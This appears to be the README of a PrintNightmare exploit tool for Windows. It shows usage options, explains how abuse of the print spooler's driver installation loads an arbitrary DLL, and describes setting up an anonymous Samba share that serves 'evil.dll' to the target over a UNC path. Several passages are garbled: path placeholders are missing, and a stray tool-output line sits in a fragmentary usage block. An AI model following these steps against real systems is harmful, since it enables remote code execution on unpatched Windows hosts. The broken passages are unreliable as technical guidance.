PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]

  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

[*] Deleted printer driver!

Details

PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.

CVE-2021-1675

A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return RPC_E_ACCESS_DENIED (Code: 0x8001011b) if a non-administrator tries to add a new printer driver.

CVE-2021-34527

When adding a new printer driver, the pDataFile parameter in the DRIVER_CONTAINER allows UNC paths. The DLL specified in pDataFile will however not be loaded, but it will get copied over to a local path allowing us to create a new printer driver with the pConfigFile parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return ERROR_INVALID_PARAMETER (Code: 0x57)

Combining the pieces

Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.

For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.

When creating a new printer driver, the DLL in the pDataFile parameter will not be loaded for security reasons. However, it will be copied over to C:\Windows\system32\spool\drivers\x64\3\. Then, we could create a new printer driver that uses pConfigFile (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to C:\Windows\system32\spool\drivers\x64\3\old\\, where is incremented for each DLL. Now we can create a third printer driver that will use the local path C:\Windows\system32\spool\drivers\x64\3\old\\, since the DLL is no longer used. Now it's just a matter of guessing which will start incrementing from 1.

Note that the DLL will keep its filename locally, so if you initially run the exploit with foo.dll and it gets saved to C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll and you then change the contents of foo.dll locally and run the exploit again and it now gets saved to C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, then the original foo.dll will be used since it is located in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Instead, simply change the filename if you change the contents of the DLL.

SMB and UNC

In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path \\10.0.0.2\files\foo.txt is a file foo.txt that is served from the files share of the server 10.0.0.2. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the Samba package.

To install Samba with apt:

$ sudo apt install samba

Edit the /etc/samba/smb.conf and add the following at the end of the file:

[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

This will create a new share called smb and serve the files inside /tmp/share. It allows for anonymous access, and the local user nobody will be used to browse the files.

Then start the Samba service by doing:

$ sudo service smbd start

Suppose your Linux machine has the IP 192.168.1.100 and you wish to serve the evil.dll, then the UNC path in this scenario will be \\192.168.1.100\smb\evil.dll.
